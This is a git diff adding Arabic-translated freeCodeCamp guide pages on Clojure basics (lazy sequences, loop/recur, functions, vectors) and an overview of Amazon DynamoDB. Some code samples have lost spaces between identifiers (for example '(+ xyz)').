+ ; => (-5 -4 -3 -2 -1 0 1 2 3 4) 
+` 
+
+يمكنك استخدام تسلسلات كسولة للقيام بأشياء رائعة ، مثل توليد تسلسل كسول لجميع أرقام فيبوناتشي.
+
+ `(def fibs 
+     (lazy-cat [0 1] (map + (rest fibs) fibs))) 
+ 
+ (take 10 fibs) ;; this means, "evaluate the first 10 fibonacci numbers." 
+ ; => (0 1 1 2 3 5 8 13 21 34) 
+` 
+
+هذا المثال متقدم بعض الشيء ، ولا ينبغي عليك أن تفهمه إذا كنت مبتدئًا. انها مجرد مثال على شيء رائع يمكنك القيام به مع تسلسل كسول. ربما يمكنك معرفة ذلك على أي حال!
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/jwpvt8)
+
+## متى تستخدم القائمة؟
+
+يُفضّل استخدام المتجه عادةً استخدام قائمة ، لأنه لا يوجد خطر من قيام المترجم بتقييم المتجه كدالة بطريق الخطأ ، كما أنه أسرع في الوصول إلى العناصر التعسفية للمتجه. القوائم هي الأكثر فائدة في 3 حالات:
+
+*   توليد كود باستخدام الماكرو.
+*   توليد تسلسل كسول "اللانهائي".
+*   إقراض العناصر إلى مجموعة.
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-collections/18411) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-vectors/18421) |  
+| [مجموعات](//forum.freecodecamp.com/t/clojure-collections/18411) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [ناقلات](//forum.freecodecamp.com/t/clojure-vectors/18421) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/looprecur/index.md b/client/src/guide/arabic/clojure/looprecur/index.md
new file mode 100644
index 0000000000..614344ec6c
--- /dev/null
+++ b/client/src/guide/arabic/clojure/looprecur/index.md
@@ -0,0 +1,97 @@
+---
+title: Clojure   Looprecur
+localeTitle: كلوجور Looprecur
+---
+قد تحتاج إلى فهم [`if`](//forum.freecodecamp.com/t/clojure-conditionals/18412) [`let`](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) بالتعافي بشكل كامل في Clojure أم لا.
+
+## `for` و `while`
+
+ليس لدى Clojure الحلقات أو الحلقات. هذا منطقي ، إذا فكرت في الأمر. A `for` loop يغير المتغير ، وهذا غير مسموح به في Clojure.
+
+ `for (var i = 0; i < 10; i++) { 
+  console.log(i); 
+ } 
+` 
+
+يعني `i++` أننا نضيف واحدًا إلى المتغير `i` كل مرة تنتهي الحلقة - مثال واضح على متغير يتم تحوره.
+
+`while` الحلقات تعتمد بشكل أقل وضوحا على المتغيرات المتغيرة ، لكنها ، مثلها مثل الحلقات.
+
+ `var i = 0; 
+ while (i < 10) { 
+  console.log(i); 
+  i++; 
+ } 
+` 
+
+`while` الحلقات دائمًا على شرط ، مثل `i < 10` ، وستتوقف إذا لم يعد هذا الشرط صحيحًا. هذا يعني أنه يجب أن يكون لديهم نوع من التأثير الجانبي (مثل إضافة 1 إلى `i` ) بحيث تكون الحالة في النهاية خاطئة. خلاف ذلك ، فإن حلقة تدوم إلى الأبد.
+
+## العودية
+
+لحسن الحظ ، لدى Clojure حلقة واحدة من نوع ما. هذه الحلقات تستخدم العودية - وظيفة التي تطلق على نفسها. أبسط خوارزمية متكررة هي واحدة للعثور على عامل موجب عدد (5 عامل ، على سبيل المثال ، يساوي `5 * 4 * 3 * 2` ).
+
+ `(defn fact [x] 
+  (loop [nx prod 1] ;; this works just like a 'let' binding. 
+    (if (= 1 n)  ;; this is the base case. 
+      prod 
+      (recur (dec n) (* prod n))))) 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/3iP3tI)
+
+ستلاحظ أن `(loop [nx prod 1] ...)` تبدو مشابهة جدا ل `let` ملزمة. إنه يعمل بالفعل بنفس الطريقة - هنا ، نربط `n` بـ `x` ، `prod` إلى 1.
+
+كل وظيفة متكررة لها "حالة قاعدة". هذا هو الشرط الذي يجعل حلقة توقف الحلقة. في هذه الحالة ، تتوقف الحلقة لدينا إذا كانت `n = 1` ، ثم ترجع `prod` . إذا لم يكن `n` يساوي 1 ، فستتكرر الحلقة.
+
+ `(recur (dec n) (* prod n)) 
+` 
+
+تقوم وظيفة `recur` هذه بإعادة تشغيل الحلقة ، ولكن مع روابط مختلفة. في هذه المرة ، لا يرتبط `n` بـ `x` ، ولكن بدلاً من ذلك يرتبط بـ `(dec n)` (والذي يعني `decrement n` أو `n - 1` ) ، `prod` `(* prod n)` .
+
+لذلك عندما نسمي الوظيفة ، هذا ما يحدث:
+
+ `(fact 5) 
+ ; Loop 1: 5 != 1, so the loop recurs with 4 (5 - 1) and 5 (1 * 5). 
+ ; Loop 2: 4 != 1, so the loop recurs with 3 (4 - 1) and 20 (5 * 4). 
+ ; Loop 3: 3 != 1, so the loop recurs with 2 (3 - 1) and 60 (20 * 3). 
+ ; Loop 4: 2 != 1, so the loop recurs with 1 (2 - 1) and 120 (60 * 2). 
+ ; Loop 5: 1 == 1, so the function returns prod, which is now equal to 120. 
+ ; => 120 
+` 
+
+الشيء المبتكر في التكرار هو أن المتغيرات نفسها لا تتغير أبداً. الشيء الوحيد الذي يتغير هو ما _تشير_ إليه `n` و `prod` . نحن لا نقول أبدًا ، `n--` ، أو `n += 2` .
+
+## لماذا استخدام حلقة / تكرار؟
+
+قد تتسائل عن سبب استخدامك `loop/recur` بدلاً من مجرد تحديد وظيفة تستدعي نفسها. يمكن أن تكون مكتوبة لدينا وظيفة عامل مثل هذا:
+
+ `(defn fact-no-loop [n] 
+  (if (= 1 n) 
+    1 
+    (* n (fact-no-loop (dec n))))) 
+` 
+
+هذا أكثر إيجازًا ، ويعمل بطريقة مماثلة. لماذا تستخدم حلقة تكرارًا من _أي وقت مضى_ ؟
+
+### تحسين اتصال الذيل
+
+إذا كنت تستخدم `loop/recur` ، فإن المحول البرمجي (البرنامج الذي يحول شفرة Clojure إلى bytecode JVM) يعرف أنك تريد إنشاء حلقة متكررة. هذا يعني أنه يحاول جاهداً تحسين التعليمات البرمجية الخاصة بك من أجل التكرار. دعونا نقارن بين سرعة `fact` `fact-no-loop` :
+
+ `(time (fact 20)) 
+ ; => "Elapsed time: 0.083927 msecs" 
+ ;    2432902008176640000 
+ (time (fact-no-loop 20)) 
+ ; => "Elapsed time: 0.064937 msecs" 
+ ;    2432902008176640000 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/tpC0Xo)
+
+على هذا النطاق ، والفرق لا يكاد يذكر. في الواقع ، فإن `fact-no-loop` تكون أحيانًا أسرع من `fact` بسبب الطبيعة غير المتوقعة لذاكرة الكمبيوتر. ومع ذلك ، على نطاق أوسع ، يمكن لهذا النوع من التحسين أن يجعل التعليمات البرمجية الخاصة بك أكبر بكثير ، أسرع بكثير.
+
+### التعشيش داخل وظائف
+
+`fact-no-loop` يعمل `fact-no-loop` بدون `loop/recur` لأن الوظيفة بأكملها متكررة. ماذا لو أردنا أن يستخدم جزء من وظيفتنا حلقة تكرارية ، ثم ما تبقى منها للقيام بشيء غير تكراري؟ سيتعين علينا تحديد وظيفتين منفصلتين تمامًا. يتيح لنا استخدام `loop/recur` استخدام وظيفة صغيرة مجهولة بدلاً من ذلك.
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:") |  
+| [اسمحوا الارتباطات](//forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415) [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | ليتم إضافتها |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/more-on-functions/index.md b/client/src/guide/arabic/clojure/more-on-functions/index.md
new file mode 100644
index 0000000000..99a4e73025
--- /dev/null
+++ b/client/src/guide/arabic/clojure/more-on-functions/index.md
@@ -0,0 +1,79 @@
+---
+title: Clojure More on Functions
+localeTitle: Clojure More on Functions
+---
+المهام! انهم مهم جدا. من الصعب جدًا القيام بأي شيء بدون وظيفة. فهي جزء لا يتجزأ من أي لغة ، ولكن بشكل خاص Clojure ، لأنها لغة برمجة وظيفية ترفض التصميم الموجه للكائنات. دعونا نتعلم المزيد عنها!
+
+## Arity
+
+يشير **Arty** إلى عدد الوسيطات التي **تتوقعها** الدالة الخاصة بك.
+
+ `;; add expects 2 arguments. Its arity is 2. 
+ (defn add [xy] (+ xy)) 
+ (add 2 2) 
+ ; => 4 
+ 
+ ;; + itself is a function, and it can have any number of arguments. 
+ (+ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16) ;; and so on... 
+ ; => 136 
+` 
+
+تحتوي لغة Clojure على بعض الصيغ الخاصة التي تسمح لك بترك وظيفتك تختلف باختلاف عدد الحجج التي تتلقاها. وهذا ما يسمى arity متغير.
+
+ `(defn foo 
+  ([]                               ; if this function gets no arguments... 
+    (println "Lisa needs braces!")) ; do this. 
+  ([arg1]                           ; if this function gets 1 argument... 
+    (println "Dental plan!")))      ; do this instead! 
+ (foo) 
+ ; => Lisa needs braces! 
+ ;    nil 
+ (foo "this is a placeholder argument.") 
+ ; => Dental plan! 
+ ;    nil 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/sXGplb)
+
+## وظائف مجهولة
+
+دعونا ننظر إلى وظيفة بسيطة حقا: وظيفة تضيف 1 إلى رقم.
+
+ `;; I've called this function "my-inc" so you don't confuse it with inc. 
+ ;; inc is a built-in function that already does this for us. 
+ (defn my-inc [n] (+ 1 n)) 
+ (inc' 5) 
+ ; => 6 
+` 
+
+هذا يبدو بسيطا جدا. يأخذ معلمة واحدة - `n` - ويعيد `n + 1` . دعونا نختارها.
+
+ `(def my-inc-2 (fn [n] (+ 1 n))) 
+ (inc' 5) 
+ ; => 6 
+` 
+
+يمكنك أن ترى من هذا أن استخدام `defn` هو مجرد اختزال لاستخدام `(def ... (fn ...))` . لكن هذا يكشف عن شيء مثير للاهتمام. ما نقوم به في الواقع ليس "تحديد وظيفة" ، إنه مجرد ربط وظيفة مجهولة باسم خاص - `inc'` . ماذا لو لم نعطيه اسما؟
+
+ `((fn [n] (+ 1 n)) 5) 
+ ; => 6 
+` 
+
+بام! فقاعة! Kapow! وظائف مجهولة. قد يبدو هذا غير ذي جدوى الآن ، ولكنه يأتي في وقت لاحق مفيد جدًا لتطبيق الوظائف على القوائم باستخدام `map` `reduce` `filter` . إعطاء كل وظيفة تكتب اسمها يصبح مملاً ومرهق وسريع.
+
+هناك طريقة أقصر لكتابة الوظائف المجهولة ، والمخصصة لوظائف قصيرة للغاية وبسيطة. لا يسمح للتدمير أو متغير المتعري. ومع ذلك ، فمن موجزة للغاية.
+
+ `(#(+ 1 %) 5) 
+ ; => 6 
+` 
+
+`#(...)` هي طريقة اختصار لتعريف وظيفة مجهولة. تشير `%` إلى الوسيطة الأولى إلى الدالة. إذا كانت وظيفتك تتوقع العديد من الوسيطات ، فيمكنك استخدام `%1, %2, ... %n` .
+
+ `(#(str %1 %2 %3) "foo" "bar" "baz") 
+ ; => "foobarbaz" 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/roYRgS)
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-loop-recur/18418) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-collections/18411) |  
+| [حلقة وتكرار](//forum.freecodecamp.com/t/clojure-loop-recur/18418) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [مجموعات](/http://forum.freecodecamp.com/t/clojure-collections/18411) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/resources/index.md b/client/src/guide/arabic/clojure/resources/index.md
new file mode 100644
index 0000000000..97dc2b0dbd
--- /dev/null
+++ b/client/src/guide/arabic/clojure/resources/index.md
@@ -0,0 +1,19 @@
+---
+title: Clojure Resources
+localeTitle: الموارد Clojure
+---
+![شعار Clojure](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3f3afa51f5d2c790faed68bfdd695d9f280e4480.png)
+
+[Clojure](https://clojure.org/) هي لهجة من Lisp مع التركيز على البرمجة الوظيفية. صدر في عام 2007 من قبل ريتش هيكي ، ومنذ ذلك الحين اكتسبت الكثير من الشعبية بين مطوري الويب.
+
+للتعرف على بعض الوظائف الأساسية للغة ، يمكنك الرجوع إلى [الوثائق](https://clojuredocs.org/) .
+
+يمكنك أيضًا استشارة أي من هذه المقالات:
+
+*   [ملخص - لماذا استخدام Clojure؟](http://forum.freecodecamp.com/t/what-is-clojure/18419)
+*   [الأساسيات - تحديد بعض المتغيرات والوظائف](http://forum.freecodecamp.com/t/clojure-the-basics/18410)
+*   [الشروط الشرطية - استخدام المنطق لإضافة تدفق تحكم معقد إلى برامجك](http://forum.freecodecamp.com/t/clojure-conditionals/18412)
+*   [اسمحوا الارتباطات - استخدام المتغيرات المحلية](http://forum.freecodecamp.com/t/clojure-create-local-variables-with-let/18415)
+*   [حلقة وتكرار - باستخدام العودية لإنشاء حلقات في Clojure](http://forum.freecodecamp.com/t/clojure-loop-recur/18418)
+
+للحصول على تجربة تعليمية بسيطة وبسيطة يمكن استخدام الكتاب المجاني على الإنترنت [Clojure for the Brave and True](https://www.braveclojure.com/foreword/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/the-basics/index.md b/client/src/guide/arabic/clojure/the-basics/index.md
new file mode 100644
index 0000000000..c2e90e0204
--- /dev/null
+++ b/client/src/guide/arabic/clojure/the-basics/index.md
@@ -0,0 +1,93 @@
+---
+title: Clojure the Basics
+localeTitle: Clojure the Basics
+---
+### ابدء
+
+قبل أن نبدأ ، قد ترغب في [تثبيت Clojure](http://clojure.org/guides/getting_started) و [Leiningen](http://leiningen.org/#install) (وهي أداة لإدارة المشاريع في Clojure). سيسمح لك هذا بتشغيل Clojure في سطر الأوامر باستخدام REPL (قراءة - تقييم - تكرار - حلقة).
+
+## تعريف المتغيرات
+
+الخبز والزبدة لأي لغة برمجة هي متغيرات ووظائف. دعونا تحديد المتغير!
+
+ `(def our-string "Hello world!") 
+` 
+
+سهل جدا. يستخدم هذا الجزء من التعليمات البرمجية الماكرو `def` لربط سلسلة ( `"Hello world!"` ) إلى رمز ( `our-string` ). يمكننا أيضًا تحديد رقم ، مثل `1` أو `1.1` ، أو حرف ، مثل `\a` أو `\Z` ، أو شيء أكثر تعقيدًا مثل قائمة أو تعبير عادي ( _uuuugh_ ).
+
+لاحظ أن الكود الخاص بنا موجود داخل أقواس ، مثل قائمة ، لأن كل شيء موجود في اللسب هو قائمة! (سيكون ذلك مهمًا جدًا عندما نبدأ الحديث عن وحدات الماكرو).
+
+## تحديد وظائف
+
+الآن ، دعونا تحديد وظيفة!
+
+ `(defn hello-world [] (println our-string)) 
+` 
+
+هذا أكثر تعقيدًا بعض الشيء. مثل `def` ، فإنه يستخدم الماكرو ( `defn` ) لإنشاء متغير - على الرغم من هذه المرة ، هذا المتغير هو وظيفة. المتجه الفارغ (المتجه هو نوع من القائمة - فكر فيه كصفيف) بعد أن يحدد `hello-world` الحجج لتلك الوظيفة - في هذه الحالة ، ليس لدينا أي. الرمز بعد ذلك هو ما تقوم به الوظيفة. يقوم بتقييم `our-string` ، والتي تساوي `"Hello world!"` ، وطباعته إلى وحدة التحكم. دعونا تشغيلها!
+
+ `(hello-world) 
+ ; => Hello world! 
+ ;    nil 
+` 
+
+يمكنك أيضًا كتابة هذا:
+
+ `(def hello-world (fn [] (println our-string))) 
+` 
+
+`defn` هو مجرد اختصار للمساعدة في الحفاظ على التعليمات البرمجية الخاصة بك موجزة. `(defn ...)` و `(def ... (fn ...))` هي نفسها في الممارسة.
+
+## المعلمات
+
+حسنًا ، كان ذلك لطيفًا ، لكنه لم يكن مثيرًا حقًا. دعونا نحاول وظيفة مع المعلمات. ماذا عن واحد يضيف 3 أرقام؟
+
+ `(defn add [xyz] (+ xyz)) 
+ (add 1 2 3) 
+ ; => 6 
+` 
+
+…انتظر. `(+ xyz)` ؟ هذا يبدو مضحكا. حسنا ، يتم كتابة Lisps باستخدام "تدوين البادئة" ، مما يعني أن الوظيفة تأتي دائما في المقام الأول. نظرًا لأن جميع العوامل الرياضية في Lisp ( `+ - * /` ) هي مجرد وظائف ، فإنها تأتي أيضًا قبل حججها (في هذه الحالة ، `xyz` ).
+
+ستلاحظ أن متجهنا لديه بعض الأشياء فيه الآن: `[xyz]` ! عندما تحتوي الدالة على معلمات ، تقوم بتعريفها في هذا المتجه بجوار اسم الدالة.
+
+### الإتلاف
+
+وهناك ميزة كبيرة حول الحجج في Clojure هي تدمير. يتيح لك إمكانية سحب العناصر من قائمة.
+
+ `(defn add [[xy] z] (+ xyz)) 
+ (add [1 2] 3) 
+ ; => 6 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/SWlvKn)
+
+الوسيطات لهذه الوظيفة هي مجموعة ( `[xy]` ) ورقم ( `z` ). يمكننا استخدام عملية التدمير لسحب العناصر الأولى والثانية من القائمة ، وسنطلق عليها `x` و `y` .
+
+### وظائف مع أي عدد من المعلمات
+
+يمكنك أيضًا تحديد وظيفة ذات عدد تعسفي من الوسيطات باستخدام `&` .
+
+ `(defn demonstrate-rest [first & rest] 
+  (println first) 
+  (println rest)) 
+ (demonstrate-rest 1 "foo" ["bar" 22]) 
+ ; => 1 
+ ;    ("foo" ["bar" 22]) 
+ ;    nil 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/VftymP)
+
+كما ترون ، استخدم `&` فصل حجج الدالة الخاصة بنا إلى متغير واحد يسمى `first` وقائمة المتغيرات تسمى `rest` . هذا يعني أن وظيفتنا يمكن أن يكون لها أي عدد من الحجج!
+
+## عودة
+
+ربما لاحظت بعض الأشياء الغريبة. عندما نستخدم `println` ، يبدو أن `nil` يظهر في مخرجاتنا. علاوة على ذلك ، ترجع الدالة `add` `6` ، ولكننا لم نخبرها أبداً بإعادة أي شيء.
+
+في Clojure ، تكون العوائد "ضمنية". إذا كنت قد استخدمت روبي ، فأنت على الأرجح على دراية بهذا المفهوم. وبدلاً من إخبارنا عن وظيفتنا لإعادة شيء ما ، فإنه يقيّم جميع الشفرات داخل جسمه ، ويعيد النتيجة. تقوم وظيفة `add` لدينا ، على سبيل المثال ، بتقييم `(+ xyz)` ، ثم تقوم بإرجاع تلك النتيجة.
+
+السبب في وظائفنا التي تستخدم إخراج `println` `nil` لأنه يتم تقييم `println` إلى `nil` . ( `nil` مثل `null` أو `None` - إنه لا يمثل أي شيء).
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/what-is-clojure/18419) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-conditionals/18412) |  
+| [ملخص](//forum.freecodecamp.com/t/what-is-clojure/18419) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [شرطي](//forum.freecodecamp.com/t/clojure-conditionals/18412) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/clojure/vectors/index.md b/client/src/guide/arabic/clojure/vectors/index.md
new file mode 100644
index 0000000000..fe535a37fd
--- /dev/null
+++ b/client/src/guide/arabic/clojure/vectors/index.md
@@ -0,0 +1,71 @@
+---
+title: Clojure   Vectors
+localeTitle: متجهات Clojure
+---
+ربما يكون المتجه هو أبسط أنواع المجموعات في Clojure. يمكنك التفكير في الأمر مثل صفيف في جافا سكريبت. دعونا تحديد ناقل بسيط:
+
+ `(def a-vector [1 2 3 4 5]) 
+ ;; Alternatively, use the vector function: 
+ (def another-vector (vector 1 2 3 4 5)) 
+ ;; You can use commas to separate items, since Clojure treats them as whitespace. 
+ (def comma-vector [1, 2, 3, 4, 5]) 
+` 
+
+سترى أنه يستخدم الأقواس المربعة ، تماما مثل مصفوفة في JS. بما أن كلوureور ، مثل JS ، يتم كتابتها بشكل ديناميكي ، يمكن أن تحمل المتجهات عناصر من أي نوع ، بما في ذلك متجهات أخرى.
+
+ `(def mixed-type-vector [1 "foo" :bar ["spam" 22] #"^baz$"]) 
+` 
+
+## إضافة عناصر إلى متجه
+
+يمكنك إلحاق عناصر إلى متجه باستخدام `conj` . يمكنك أيضا إلحاقها في قائمة باستخدام `into` ، ولكن لاحظ أن `into` ويهدف لدمج متجهين، لذلك كل حججها يجب أن يكون ناقلات، واستخدام `into` أبطأ من استخدام `conj` .
+
+ `(time (conj [1 2] 3)) 
+ ; => "Elapsed time: 0.032206 msecs" 
+ ;    [1 2 3] 
+ (time (into [1] [2 3])) 
+ ; => "Elapsed time: 0.078499 msecs" 
+ ;    [1 2 3] 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [IDEOne ذلك!](https://ideone.com/wBSUEd)
+
+## استرجاع العناصر من المتجه
+
+يمكنك استرداد العناصر من ناقلات باستخدام `get` . هذا يعادل استخدام تدرج قوس لتتمكن من الوصول إلى العناصر في مصفوفة بالعديد من اللغات الضرورية. العناصر في المتجه هي 0-indexed ، العد من اليسار.
+
+ `var arr = [1, 2, 3, 4, 5]; 
+ arr[0]; 
+ // => 1 
+` 
+
+في Clojure ، سيكتب هذا على النحو التالي:
+
+ `(def a-vector [1 2 3 4 5]) 
+ (get a-vector 0) 
+ ; => 1 
+` 
+
+يمكنك أيضًا `get` على قيمة افتراضية ، إذا أعطيتها فهرسًا غير موجود في الصفيف.
+
+ `;; the list doesn't have 2147483647 elements, so it'll return a string instead. 
+ (get a-vector 2147483646 "sorry, not found!") 
+ ; => "sorry, not found!" 
+` 
+
+## تحويل مجموعات أخرى إلى متجهات
+
+يمكن تحويل هياكل البيانات غير الموجهة إلى متجهات باستخدام وظيفة `vec` . مع hashmaps ، هذا ينتج ناقل ثنائي الأبعاد يحتوي على أزواج من المفاتيح والقيم.
+
+ `(vec '(1 2 3 4 5)) 
+ ; => [1 2 3 4 5] 
+ (vec {:jack "black" :barry "white"}) 
+ ; => [[:jack "black"] [:barry "white"]] 
+` 
+
+## متى تستخدم ناقلات الأمراض؟
+
+يجب استخدام المتجه في جميع الحالات تقريبًا إذا كنت في حاجة إلى مجموعة ، لأن لديهم أقصر أوقات وصول عشوائي ، مما يجعل من السهل استرداد العناصر من المتجه. لاحظ أنه يتم طلب المتجهات. إذا لم يكن الأمر مهمًا ، فقد يكون من الأفضل استخدام مجموعة. لاحظ أيضًا أن المتجهات مصممة لإلحاق العناصر ؛ إذا كنت بحاجة إلى إضافة عناصر مسبقًا ، فقد ترغب في استخدام قائمة.
+
+| [![:point_left:](//forum.freecodecamp.com/images/emoji/emoji_one/point_left.png?v=2 ": point_left:") السابق](//forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) [![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:") الصفحة الرئيسية ![:book:](//forum.freecodecamp.com/images/emoji/emoji_one/book.png?v=2 ":كتاب:")](//forum.freecodecamp.com/t/clojure-resources/18422) | [التالى ![:point_right:](//forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=2 ": point_right:")](//forum.freecodecamp.com/t/clojure-hashmaps/18414) |  
+| [القوائم](//forum.freecodecamp.com/t/clojure-lists-they-are-everything/18417) | [جدول المحتويات](//forum.freecodecamp.com/t/clojure-resources/18422) | [Hashmaps](//forum.freecodecamp.com/t/clojure-hashmaps/18414) |
\ No newline at end of file
diff --git a/client/src/guide/arabic/cloud-development/amazon-aws/dynamodb/index.md b/client/src/guide/arabic/cloud-development/amazon-aws/dynamodb/index.md
new file mode 100644
index 0000000000..d4966bc9f4
--- /dev/null
+++ b/client/src/guide/arabic/cloud-development/amazon-aws/dynamodb/index.md
@@ -0,0 +1,33 @@
+---
+title: Amazon DynamoDB
+localeTitle: الأمازون DynamoDB
+--- ## الأمازون DynamoDB
+
+Amazon DynamoDB هي خدمة من Amazon Web Services (AWS) التي تقدم قاعدة بيانات NoSQL مدارة بالكامل. وتتمثل الميزة الرئيسية في القدرة على التوسع بشكل لا نهائي حسب حجم العمل المطلوب. تدار بشكل كامل ، لا يحتاج المستخدم للقلق حول البنية التحتية الأساسية مثل كيفية الارتقاء إلى الأعلى أو الأسفل اعتمادًا على حجم العمل. وهو يدعم التخزين المستند إلى القيمة الرئيسية والمستند إلى المستندات.
+
+المكونات الأساسية لخدمة DynamoDB هي:
+
+*   **الجدول** : يقوم DynamoDB بتخزين البيانات في الجداول ، والتي تشبه قواعد البيانات العلائقية. والفرق الرئيسي هو أنه مخطط ، وليس لديه هيكل ثابت من لحظة إنشائه.
+    
+*   **العنصر** : عنصر هو البيانات المخزنة في جدول ويمكن أن يحتوي الجدول على عدد غير محدد من العناصر. مقارنة مع قاعدة بيانات علائقية ، فإن البند سيكون صف في الجدول.
+    
+*   **السمة** : عنصر يحتوي على سمات ، والتي تشبه العمود في قواعد البيانات العلائقية. ومع ذلك ، بما أن DynamoDB غير مخطط ، فلا يحتاج العنصر إلى نفس الصفات. علاوة على ذلك ، يمكن أن تكون السمات قيمة مفردة أو وثيقة تشبه JSON مع حقول أخرى يمكن الاستعلام عنها أيضًا.
+    
+
+على الرغم من أن DynamoDB لا يحتاج إلى بنية ثابتة لجداوله ، إلا أنه يحتاج إلى مفتاح أساسي لكل عنصر في الجدول. يجب أن يكون المفتاح الأساسي ، كما هو الحال في قواعد البيانات العلائقية ، فريدًا. يمكن أن يكون المفتاح الأساسي بسيطًا أو مكتملًا. يتكون مفتاح أساسي بسيط فقط من خلال مفتاح قسم. يتألف المفتاح الأساسي المكوّن بدوره من مفتاح تقسيم ومفتاح فرز. في مفتاح أساسي بسيط ، يجب أن يكون مفتاح القسم فريدًا ، بينما يمكن أن يكون مفتاح القسم متساويًا في مفتاح مرتبط ، ولكن يجب أن يكون مفتاح الفرز مختلفًا.
+
+إن مفهوم مفتاح التجزئة ومفتاح الفرز مهم جدًا لأنه يتعلق بالطريقة التي يخزن بها DynamoDB البيانات. DynamoDB بتخزين البيانات في أقسام ومفتاح القسم هو المفتاح للقسم. يستخدم DynamoDB القيمة الموجودة في مفتاح القسم كمدخل إلى دالة هاش لمعرفة مكان تخزين البيانات. في حالة وجود مفتاح مكون ، يتم تخزين كل العناصر التي تحتوي على نفس قسم القسم في نفس القسم ، ولكن يتم فرزها حسب مفتاح الفرز.
+
+الأمازون DynamoDB لديها أيضا توافر عالية. وهو يكرر البيانات إلى العديد من الخوادم في مناطق التوافر المختلفة في المنطقة. مناطق التواجد هي مراكز بيانات مفصولة فعليًا بمسافة آمنة. في حالة حدوث كارثة في أحد الخوادم ، فإن الخوادم الأخرى تحتوي على البيانات التي تم نسخها في مسافة آمنة وبلا مساس.
+
+نظرًا لسهولة إعداده وقدرته اللانهائية على الارتقاء ، فإنه مفيد للكثير من حالات الاستخدامات. هو الأنسب للسيناريوهات حيث الحمولة المطلوبة غير معروفة أو هناك قمم مفاجئة. بعض حالات الاستخدام هي بمثابة تخزين البيانات للتطبيقات التي لا تحتوي على أجهزة الخادم ، والخدمات الميكروية ، والهواتف المحمولة ، والألعاب ، وإنترنت الأشياء وأكثر من ذلك.
+
+### مصادر:
+
+*   [قواعد بيانات القيمة الرئيسية](https://guide.freecodecamp.org/computer-science/databases/key-value-databases)
+*   [قواعد البيانات العلائقية](https://guide.freecodecamp.org/computer-science/databases/relational-databases)
+
+### معلومات اكثر:
+
+*   "ما هو Amazon DynamoDB؟" من [AWS DynamoDB التوثيق](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Introduction.html?shortFooter=true)
